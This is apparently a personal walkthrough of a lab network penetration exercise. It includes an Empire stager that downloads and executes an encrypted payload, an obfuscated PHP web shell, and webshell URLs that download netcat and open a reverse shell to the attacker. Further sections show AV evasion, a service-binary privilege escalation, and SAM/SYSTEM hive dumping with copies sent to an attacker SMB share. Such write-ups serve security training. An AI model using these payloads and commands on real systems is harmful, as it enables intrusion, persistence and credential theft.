import urllib.request;
UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';server='http://10.50.190.97:8000';t='/admin/get.php';req=urllib.request.Request(server+t);
proxy = urllib.request.ProxyHandler();
o = urllib.request.build_opener(proxy);
o.addheaders=[('User-Agent',UA), ("Cookie", "session=QlR2YjP6rLZ2m2m26qe0NPv24Ck=")];
urllib.request.install_opener(o);
a=urllib.request.urlopen(req).read();
IV=a[0:4];data=a[4:];key=IV+'g|#Dx}qvf,K;>P@?Ghi4mprnQ)swX{N*'.encode('UTF-8');S,j,out=list(range(256)),0,[]
for i in list(range(256)):
j=(j+S[i]+key[i%len(key)])%256
S[i],S[j]=S[j],S[i]
i=j=0
for char in data:
i=(i+1)%256
j=(j+S[i])%256
S[i],S[j]=S[j],S[i]
out.append(chr(char^S[(S[i]+S[j])%256]))
exec(''.join(out))
Task 27 – Command and Control – Empire: Agents
Now that we’ve started a listener and created a stager, it’s time to put them together to get an agent!
Stager multi/bash
The code you would have received can be split into 3 sections – the first (highlighted in green) is the shebang, the second (red) is the actual payload, and the third (blue) being self-destruction of the script:
Rather than dump the whole thing into a file, since we have SSH access we can simply copy the red section only and drop that straight into the command line.
Agents – Using CLI
agents
to see a list of available agentsinteract AGENT_NAME
to interact with the agenthelp
when interacting with an agent will give you a list of available commands to interact with the agent
rename AGENT_NAME
will rename the agent
Agents – Using Starkiller
- Go to
Agents
on left sidebar
- Your agent will appear in the list as
VPA2LS4G
has here – to interact simply click on it’s name:
- Here is the main interact screen – there are other tabs near the top left that allow you to do different things besides the two below. On the top right you will see a line of buttons and below that an
>
– if you click the>
button the main window will split in half and you will see the output of any tasks (as you will see here I ran a fewShell Commands
):
- If you select a module from the list (in the below example I have selected
python/persistence/multi/crontab
) you can then set the options for the module then hit theSubmit
button to execute:
File Browser
gives you a simple file browser to help you look through the agent’s filesystem:
Tasks
will give you a list of previously run tasks (as you can see it matches the right side but in reverse order):
- And finally,
View
will allow you to view details on the agent – the lighter gray areas can be modified (for example, as you can see I am currently editing the name of the agent, this is how you rename your agents):
Using the *help* command for guidance: in Empire CLI, how would we run the *whoami* command inside an agent?
NOTE: ironically, the author musn’t have paid attention to the help output – the much easier way is to run simply
whoami
.shell
however is for good to know for running any other shell commands.
Task 28 – Command and Control – Empire: Hop Listeners
As mentioned previously, Empire agents can’t be proxied with a socat relay or any equivalent redirects; but there must be a way to get an agent back from a target with no outbound access, right?
The answer is yes. We use something called a Hop Listener.
Hop Listeners create what looks like a regular listener in our list of listeners (like the http listener we used before); however, rather than opening a port to receive a connection, hop listeners create files to be copied across to the compromised "jump" server and served from there. These files contain instructions to connect back to a normal (usually HTTP) listener on our attacking machine.
Basically, a Hop Listener is a HTTP relay…
Hop Listener – Using CLI
uselistener http_hop
(rather than ahttp
as we used in the Listeners task)options
as always to list options:set Host 100.200.193.200
– host that will be running thehttp_hop
listenerset Port 31773
– port the host will listen onset RedirectListener L_HTTP
– listener that thehttp_hop
listener will redirect traffic toexecute
to start the listener
- When executed, Empire will dump some
.php
files into/tmp/http_hop
on your attack machine – these need to be transferred onto the host machine.
Hop Listener – Using Starkiller
- Create a new listener as done in the previous task titled Listeners – set the type to
http_hop
, and set theHost
,Port
andRedirectListener
highlighted options as done in CLI (you can also set a differentName
to make it easier to identify):
- Hit
Submit
, as with the CLI version, it will dump the files into/tmp/http_hop
(or theOutFolder
you set) – these need to be transferred onto the host machine.
Task 29 – Command and Control – Git Server
Transfer ‘http_hop’ server to Prod-Serv and start PHP server
❯ sudo mv http_hop hop-stimpz0r
❯ sudo zip -r hop-stimpz0r.zip hop-stimpz0r/
updating: hop-stimpz0r/ (stored 0%)
adding: hop-stimpz0r/login/ (stored 0%)
adding: hop-stimpz0r/login/process.php (deflated 67%)
adding: hop-stimpz0r/news.php (deflated 67%)
adding: hop-stimpz0r/admin/ (stored 0%)
adding: hop-stimpz0r/admin/get.php (deflated 67%)
❯ scp -i id_rsa /tmp/hop-stimpz0r.zip root@10.200.193.200:/tmp
hop-stimpz0r.zip 100% 3257 8.1KB/s 00:00
[root@prod-serv tmp]# unzip hop-stimpz0r.zip
Archive: hop-stimpz0r.zip
creating: hop-stimpz0r/
creating: hop-stimpz0r/login/
inflating: hop-stimpz0r/login/process.php
inflating: hop-stimpz0r/news.php
creating: hop-stimpz0r/admin/
inflating: hop-stimpz0r/admin/get.php
[root@prod-serv tmp]# cd hop-stimpz0r/
[root@prod-serv hop-stimpz0r]# php -S 0.0.0.0:31773 &>/dev/null &
[1] 2004
[root@prod-serv hop-stimpz0r]# firewall-cmd --zone=public --add-port 31773/tcp
success
Generating the stager
- I will not cover the steps to create this stager, as this has been done in the Stager task above – however, instead use
multi/launcher
and ensure thatListener
is pointed at thehttp_hop
listener you created in the previous task:
- This launcher, unlike the
multi/bash
will dump out a command you can copy and paste straight into the commandline
Dropping the ‘http_hop’ payload on Git-Serv
❯ evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 10.200.193.150
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> powershell -noP -sta -w 1 -enc <ENCRYPTED_PAYLOAD>
- Meanwhile on Empire CLI:
[+] New agent KWC4VB1T checked in
[*] Sending agent (stage 2) to KWC4VB1T at 10.200.193.200
(Empire: agents) > interact KWC4VB1T
(Empire: KWC4VB1T) > whoami
[*] Tasked KWC4VB1T to run Task 1
[*] Task 1 results received
GIT-SERV\Administrator
Task 30 – Command and Control – Empire: Modules
As mentioned previously, modules are used to perform various tasks on a compromised target, through an active Empire agent. For example, we could use Mimikatz through its Empire module to dump various secrets from the target.
Using CLI
usemodule
inside the context of an agent (interacting with an agent)- There is a large list of modules, depending on the operating system of the target (windows has a LOT, linux not so many…)
- For this example, we will look at
powershell/privesc/sherlock
, which ironically can also be run by simply interacting with a windows agent and typingsherlock
. - If you are not 100% sure of the name, you can type some of the name and autocomplete will suggest the proper full name – e.g for
sherlock
usemodule powershell/privesc/sherlock
to load thesherlock
moduleoptions
to list the options- in this case if we are directly interacting with an agent it will automatically fill in the
Agent
field with your current agent, so we can run the module withexecute
(Empire: usemodule/powershell/privesc/sherlock) > execute
[*] Tasked 345A819F to run Task 7
[*] Task 7 results received
Job started: 28UWY9
[*] Task 7 results received
Title : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID : 2010-0232
Link : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems
Title : Task Scheduler .XML
MSBulletin : MS10-092
CVEID : 2010-3338, 2010-3888
Link : https://www.exploit-db.com/exploits/19930/
VulnStatus : Not Vulnerable
Title : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID : 2013-1300
Link : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID : 2013-3881
Link : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable
Title : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID : 2015-1701, 2015-2433
Link : https://www.exploit-db.com/exploits/37367/
VulnStatus : Not Vulnerable
Title : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID : 2015-2426, 2015-2433
Link : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable
Title : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID : 2016-0051
Link : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Not Vulnerable
Title : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID : 2016-7255
Link : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135
VulnStatus : Not Vulnerable
Title : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID : 2017-7199
Link : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.html
VulnStatus : Not Vulnerable
Using Starkiller
- Since most of this has been explained in task 27 (Agents) here is a screenshot that should make sense:
Task 31 – Command and Control – Empire: Interactive Shell
Using CLI
(Empire: 345A819F) > shell
[*] Exit Shell Menu with Ctrl+C
(345A819F) C:\Users\Administrator > whoami
GIT-SERV\Administrator
(345A819F) C:\Users\Administrator >
Using Starkiller
- Pictures are worth at least 1000 words… this should explain it. 🙂
Task 33 – Personal PC – Enumeration
Evil-WinRM & the ‘-s’ switch
- The
-s
switch allows you to point to a directory of Powershell scripts and they will be available to load on the remote hostevil-winrm -u Administrator -H <HASH> -i 10.200.193.150 -s <SCRIPT_PATH>
will help us – specifically, the scripts stored in/usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network
Portscan via Evil-WinRM & Invoke-Portscan
❯ evil-winrm -u Administrator -H <REDACTED> -i 10.200.193.150 -s /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> Invoke-Portscan.ps1
*Evil-WinRM* PS C:\Users\Administrator\Documents> Invoke-Portscan -hosts 10.200.193.100 -TopPorts 50
Hostname : 10.200.193.100
alive : True
openPorts : {80, 3389}
closedPorts : {}
filteredPorts : {443, 445, 110, 21...}
finishTime : 1/6/2022 8:56:24 AM
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Scan the top 50 ports of the last IP address you found in Task 17. Which ports are open (lowest to highest, separated by commas)?
Task 34 – Personal PC – Pivoting
Chisel forward proxy
*Evil-WinRM* PS C:\Users\Administrator\Documents> netsh advfirewall firewall add rule name="chisel-stimpz0r" dir=in action=allow protocol=tcp localport=36969
Ok.
*Evil-WinRM* PS C:\Users\Administrator\Documents> .\chisel_x64.exe server -p 36969 --socks5
chisel_x64.exe : 2022/01/06 09:27:37 server: Fingerprint 1xe08ynQ7ONSJBi+CZYpl5W41u+mF4GTHvK9x7SAdNY=
+ CategoryInfo : NotSpecified: (2022/01/06 09:2...4GTHvK9x7SAdNY=:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
2022/01/06 09:27:37 server: Listening on http://0.0.0.0:36969
❯ chisel client 10.200.193.150:36969 1080:socks
2022/01/06 20:32:02 client: Connecting to ws://10.200.193.150:36969
2022/01/06 20:32:02 client: tun: proxy#127.0.0.1:1080=>socks: Listening
2022/01/06 20:32:05 client: Connected (Latency 339.698548ms)
Wappalyzer
Using the Wappalyzer browser extension or an alternative method, identify the server-side Programming language (including the version number) used on the website.
Task 35 – Personal PC – The Wonders of Git
Download ‘Website.git’ from GIT-SERV
*Evil-WinRM* PS C:\GitStack\repositories> ls
Directory: C:\GitStack\repositories
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/2/2021 7:05 PM Website.git
*Evil-WinRM* PS C:\GitStack\repositories> download C:\GitStack\repositories\Website.git /home/stimpz/tryhackme/net/wreath/
Info: Downloading C:\GitStack\repositories\Website.git to /home/stimpz/tryhackme/net/wreath/
Info: Download successful!
Using ‘gittools-extractor’ to dump the git repo
❯ cd website
❯ mv Website.git .git
❯ gittools-extractor . Website
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: 345ac8b236064b431fa43f53d91c98c4834ef8f3
[+] Found folder: /home/stimpz/tryhackme/net/wreath/website/Website/0-345ac8b236064b431fa43f53d91c98c4834ef8f3/css
...
❯ cd Website
❯ ls
0-345ac8b236064b431fa43f53d91c98c4834ef8f3 2-82dfc97bec0d7582d485d9031c09abcb5c6b18f2
1-70dde80cc19ec76704567996738894828f4ee895
Enumerating commits
❯ separator="======================================="; for i in $(ls); do printf "\n\n$separator\n\033[4;1m$i\033[0m\n$(cat $i/commit-meta.txt)\n"; done; printf "\n\n$separator\n\n\n"
=======================================
0-345ac8b236064b431fa43f53d91c98c4834ef8f3
tree c4726fef596741220267e2b1e014024b93fced78
parent 82dfc97bec0d7582d485d9031c09abcb5c6b18f2
author twreath <me@thomaswreath.thm> 1609614315 +0000
committer twreath <me@thomaswreath.thm> 1609614315 +0000
Updated the filter
=======================================
1-70dde80cc19ec76704567996738894828f4ee895
tree d6f9cc307e317dec7be4fe80fb0ca569a97dd984
author twreath <me@thomaswreath.thm> 1604849458 +0000
committer twreath <me@thomaswreath.thm> 1604849458 +0000
Static Website Commit
=======================================
2-82dfc97bec0d7582d485d9031c09abcb5c6b18f2
tree 03f072e22c2f4b74480fcfb0eb31c8e624001b6e
parent 70dde80cc19ec76704567996738894828f4ee895
author twreath <me@thomaswreath.thm> 1608592351 +0000
committer twreath <me@thomaswreath.thm> 1608592351 +0000
Initial Commit for the back-end
Use your WinRM access to look around the Git Server. What is the absolute path to the 'Website.git'`' directory?
Task 36 – Personal PC – Website Code Analysis
❯ find . -name "*.php"
./resources/index.php
resources/index.php
<?php
if(isset($_POST["upload"]) && is_uploaded_file($_FILES["file"]["tmp_name"])){
$target = "uploads/".basename($_FILES["file"]["name"]);
$goodExts = ["jpg", "jpeg", "png", "gif"];
if(file_exists($target)){
header("location: ./?msg=Exists");
die();
}
$size = getimagesize($_FILES["file"]["tmp_name"]);
if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) || !$size){
header("location: ./?msg=Fail");
die();
}
move_uploaded_file($_FILES["file"]["tmp_name"], $target);
header("location: ./?msg=Success");
die();
} else if ($_SERVER["REQUEST_METHOD"] == "post"){
header("location: ./?msg=Method");
}
if(isset($_GET["msg"])){
$msg = $_GET["msg"];
switch ($msg) {
case "Success":
$res = "File uploaded successfully!";
break;
case "Fail":
$res = "Invalid File Type";
break;
case "Exists":
$res = "File already exists";
break;
case "Method":
$res = "No file send";
break;
}
}
?>
<!DOCTYPE html>
<html lang=en>
<!-- ToDo:
- Finish the styling: it looks awful
- Get Ruby more food. Greedy animal is going through it too fast
- Upgrade the filter on this page. Can't rely on basic auth for everything
- Phone Mrs Walker about the neighbourhood watch meetings
-->
<head>
<title>Ruby Pictures</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" type="text/css" href="assets/css/Andika.css">
<link rel="stylesheet" type="text/css" href="assets/css/styles.css">
</head>
<body>
<main>
<h1>Welcome Thomas!</h1>
<h2>Ruby Image Upload Page</h2>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" id="fileEntry" required, accept="image/jpeg,image/png,image/gif">
<input type="submit" name="upload" id="fileSubmit" value="Upload">
</form>
<p id=res><?php if (isset($res)){ echo $res; };?></p>
</main>
</body>
</html>
PHP breakdown
if(isset($_POST["upload"]) && is_uploaded_file($_FILES["file"]["tmp_name"])){
- First checks if the POST method
upload
is being used and if it has been succesfully uploaded (is_uploaded_file
)
$target = "uploads/".basename($_FILES["file"]["name"]);
$goodExts = ["jpg", "jpeg", "png", "gif"];
- It then sets
$target
touploads/FILE_NAME
and sets$goodExts
to an array of image format file prefixes
if(file_exists($target)){
header("location: ./?msg=Exists");
die();
}
- If the file already exists in the upload directory, it dies.
$size = getimagesize($_FILES["file"]["tmp_name"]);
if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) || !$size){
header("location: ./?msg=Fail");
die();
}
- The next part is the juciest in relation to exploitation – first it sets
$size
to the image size (getimagesize(FILE_NAME)
), then it checks if the file has any of the$goodexts
, or if$size
is set to null (and therefore not a proper image)
move_uploaded_file($_FILES["file"]["tmp_name"], $target);
header("location: ./?msg=Success");
die();
- If successful, it moves the file into the
uploads/
folder and shows a success message.
What does Thomas have to phone Mrs Walker about?
Aside from the filter, what protection method is likely to be in place to prevent people from accessing this page?
Which extensions are accepted (comma separated, no spaces or quotes)?
Task 37 – Personal PC – Exploit PoC
CREDS - Website Basic Auth
Exiftool to sneak in our payload
❯ exiftool -Comment="<?php echo \"<pre>Test Payload</pre>\"; die(); ?>" test-stimpz0r.jpg.php
1 image files updated
❯ exiftool test-stimpz0r.jpg.php
ExifTool Version Number : 12.30
File Name : test-stimpz0r.jpg.php
Directory : .
File Size : 9.4 KiB
File Modification Date/Time : 2022:01:06 22:45:21+11:00
File Access Date/Time : 2022:01:06 22:45:21+11:00
File Inode Change Date/Time : 2022:01:06 22:45:21+11:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Comment : <?php echo "<pre>Test Payload</pre>"; die(); ?>
Image Width : 200
Image Height : 200
Encoding Process : Progressive DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 200x200
Megapixels : 0.040
Task 38 – AV Evasion – Introduction
When it comes to AV evasion we have two primary types available:
- On-Disk evasion
- In-Memory evasion
On-Disk evasion is when we try to get a file (be it a tool, script, or otherwise) saved on the target, then executed. This is very common when working with executable (.exe
) files.
In-Memory evasion is when we try to import a script directly into memory and execute it there. For example, this could mean downloading a PowerShell module from the internet or our own device and directly importing it without ever saving it to the disk.
In ages past, In-Memory evasion was enough to bypass most AV solutions as the majority of antivirus software was unable to scan scripts stored in the memory of a running process. This is no longer the case though, as Microsoft implemented a feature called the Anti-Malware Scan Interface (AMSI). AMSI is essentially a feature of Windows that scans scripts as they enter memory. It doesn’t actually check the scripts itself, but it does provide hooks for AV publishers to use — essentially allowing existing antivirus software to obtain a copy of the script being executed, scan it, and decide whether or not it’s safe to execute.
Which category of evasion covers uploading a file to the storage on the target before executing it?
What does AMSI stand for?
Which category of evasion does AMSI affect?
Task 39 – AV Evasion – AV Detection Methods
I am not going to re-write or even summarize the text for this task… and pasting it in is simply repeated text that can be read by going to the room itself… so go read the breakdown in the task if you need!
What other name can be used for Dynamic/Heuristic detection methods?
If AV software splits a program into small chunks and hashes them, checking the results against a database, is this a static or dynamic analysis method?
When dynamically analysing a suspicious file using a line-by-line analysis of the program, what would antivirus software check against to see if the behaviour is malicious?
What could be added to a file to ensure that only a user can open it (preventing AV from executing the payload)?
Task 40 – AV Evasion – PHP Payload Obfuscation
PHP Obfuscation
Original payload
<?php
$cmd = $_GET["stimpz0r"];
if(isset($cmd)){
echo "<pre>" . shell_exec($cmd) . "</pre>";
}
die();
?>
Obfuscated payload
<?php $b0=$_GET[base64_decode('c3RpbXB6MHI=')];if(isset($b0)){echo base64_decode('PHByZT4=').shell_exec($b0).base64_decode('PC9wcmU+');}die();?>
"bash friendly" payload
<?php \$b0=\$_GET[base64_decode('c3RpbXB6MHI=')];if(isset(\$b0)){echo base64_decode('PHByZT4=').shell_exec(\$b0).base64_decode('PC9wcmU+');}die();?>
What is the Host Name of the target?
What is our current username (include the domain in this)?
Task 41 – AV Evasion – Compiling Netcat & Reverse Shell!
Exploitation
- URL: uploads
nc.exe
toC:\Windows\Temp
http://10.200.193.100/resources/uploads/shell-stimpz0r.jpg.php?stimpz0r=curl%20http://10.50.190.97:8080/tools/nc_x64.exe%20-o%20c:\\windows\\temp\\nc-stimpz0r.exe
- URL: starts powershell to wrap the running of
nc.exe
so that the reverse shell does not timeout…
http://10.200.193.100/resources/uploads/shell-stimpz0r.jpg.php?stimpz0r=powershell.exe%20c:\\windows\\temp\\nc-stimpz0r.exe%2010.50.190.97%206969%20-e%20cmd.exe
- netcat listener:
❯ nc -lnvp 6969
Connection from 10.200.193.100:50238
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\resources\uploads>whoami
whoami
wreath-pc\thomas
C:\xampp\htdocs\resources\uploads>
What output do you get when running the command: certutil.exe?
Task 42 – AV Evasion – Enumeration
Enumeration
whoami /priv
C:\xampp\htdocs\resources\uploads>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
whoami /group
C:\xampp\htdocs\resources\uploads>whoami /groups
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
C:\xampp\htdocs\resources\uploads>wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
DisplayName Name PathName StartMode
Amazon SSM Agent AmazonSSMAgent "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe" Auto
Apache2.4 Apache2.4 "C:\xampp\apache\bin\httpd.exe" -k runservice Auto
AWS Lite Guest Agent AWSLiteAgent "C:\Program Files\Amazon\XenTools\LiteAgent.exe" Auto
LSM LSM Unknown
Mozilla Maintenance Service MozillaMaintenance "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe" Manual
NetSetupSvc NetSetupSvc Unknown
Windows Defender Advanced Threat Protection Service Sense "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" Manual
System Explorer Service SystemExplorerHelpService C:\Program Files (x86)\System Explorer\System Explorer\service\SystemExplorerService64.exe Auto
Windows Defender Antivirus Network Inspection Service WdNisSvc "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\NisSrv.exe" Manual
Windows Defender Antivirus Service WinDefend "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MsMpEng.exe" Auto
Windows Media Player Network Sharing Service WMPNetworkSvc "C:\Program Files\Windows Media Player\wmpnetwk.exe" Manual
sc qc SystemExplorerHelpService
C:\xampp\htdocs\resources\uploads>sc qc SystemExplorerHelpService
sc qc SystemExplorerHelpService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: SystemExplorerHelpService
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\System Explorer\System Explorer\service\SystemExplorerService64.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Explorer Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
C:\xampp\htdocs\resources\uploads>powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\System Explorer
Owner : BUILTIN\Administrators
Group : WREATH-PC\None
Access : BUILTIN\Users Allow FullControl
NT SERVICE\TrustedInstaller Allow FullControl
NT SERVICE\TrustedInstaller Allow 268435456
NT AUTHORITY\SYSTEM Allow FullControl
NT AUTHORITY\SYSTEM Allow 268435456
BUILTIN\Administrators Allow FullControl
BUILTIN\Administrators Allow 268435456
BUILTIN\Users Allow ReadAndExecute, Synchronize
BUILTIN\Users Allow -1610612736
CREATOR OWNER Allow 268435456
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow -1610612736
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow -1610612736
Audit :
Sddl : O:BAG:S-1-5-21-3963238053-2357614183-4023578609-513D:AI(A;OICI;FA;;;BU)(A;ID;FA;;;S-1-5-80-956008885-341852264
9-1831038044-1853292631-2271478464)(A;CIIOID;GA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-22714784
64)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;ID;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;ID;0x1200a9;;;BU)(A;OICIIOID;GXGR;;;
BU)(A;OICIIOID;GA;;;CO)(A;ID;0x1200a9;;;AC)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICIIOID;GXGR;
;;S-1-15-2-2)
Research - One of the privileges on this list is very famous for being used in the PrintSpoofer and Potato series of privilege escalation exploits -- which privilege is this?
What is the Name (second column from the left) of this service?
Is the service running as the local system account (Aye/Nay)?
Task 43 – AV Evasion – Privilege Escalaition
THE Exploit!
C:\xampp\htdocs\resources\uploads>copy \\10.50.190.97\tools\RevShell_obf.exe %TEMP%\shell-stimpz0r.exe
copy \\10.50.190.97\tools\RevShell_obf.exe %TEMP%\shell-stimpz0r.exe
Operation did not complete successfully because the file contains a virus or potentially unwanted software.
0 file(s) copied.
Oh well, worth a shot! 😉
- Unfortunately this also broke smb transfer and caused thomas’ PC to bash my attack box trying to login over smb… long story short it also wouldn’t allow me to
net stop
so I had to go with plan B (http).
C:\xampp\htdocs\resources\uploads>curl http://10.50.190.97:8080/ncWrap_obf.exe -o ncWrap.exe
curl http://10.50.190.97:8080/ncWrap_obf.exe -o ncWrap.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 7168 100 7168 0 0 7168 0 0:00:01 --:--:-- 0:00:01 9969
C:\xampp\htdocs\resources\uploads>move ncWrap.exe %TEMP%\ncWrap-stimpz0r.exe
move ncWrap.exe %TEMP%\ncWrap-stimpz0r.exe
1 file(s) moved.
C:\xampp\htdocs\resources\uploads>copy %TEMP%\ncWrap-stimpz0r.exe "C:\Program Files (x86)\System Explorer\System.exe"
copy %TEMP%\ncWrap-stimpz0r.exe "C:\Program Files (x86)\System Explorer\System.exe"
1 file(s) copied.
C:\xampp\htdocs\resources\uploads>sc stop SystemExplorerHelpService
sc stop SystemExplorerHelpService
SERVICE_NAME: SystemExplorerHelpService
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x1388
C:\xampp\htdocs\resources\uploads>sc start SystemExplorerHelpService
sc start SystemExplorerHelpService
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
Task 43 – Exfiltration – Exfiltration Techniques & Post Exploitation
ENUM >> dumping SAM / SYSTEM
C:\Windows\System32\spool\drivers\color>reg.exe save HKLM\SAM sam.bak
reg.exe save HKLM\SAM sam.bak
The operation completed successfully.
C:\Windows\System32\spool\drivers\color>reg.exe save HKLM\SYSTEM system.bak
reg.exe save HKLM\SYSTEM system.bak
The operation completed successfully.
C:\Windows\System32\spool\drivers\color>net use \\10.50.91.186\tools /USER:domain\admin pwn3d!
net use \\10.50.91.186\tools /USER:domain\admin pwn3d!
The command completed successfully.
C:\Windows\System32\spool\drivers\color>copy sam.bak \\10.50.91.186\tools
copy sam.bak \\10.50.91.186\tools
Overwrite \\10.50.91.186\tools\sam.bak? (Yes/No/All): yes
yes
1 file(s) copied.
C:\Windows\System32\spool\drivers\color>copy system.bak \\10.50.91.186\tools
copy system.bak \\10.50.91.186\tools
1 file(s) copied.
C:\Windows\System32\spool\drivers\color>net use \\10.50.91.186\tools /del
net use \\10.50.91.186\tools /del
\\10.50.91.186\tools was deleted successfully.
CREDS - secretsdump
Clean up
- Auto service cleanup script beat me to the punch! 🙁
C:\Windows\system32>del "C:\Program Files (x86)\System Explorer\System.exe"
del "C:\Program Files (x86)\System Explorer\System.exe"
Could Not Find C:\Program Files (x86)\System Explorer\System.exe
C:\Windows\system32>sc start SystemExplorerHelpService
sc start SystemExplorerHelpService
[SC] StartService FAILED 1056:
An instance of the service is already running.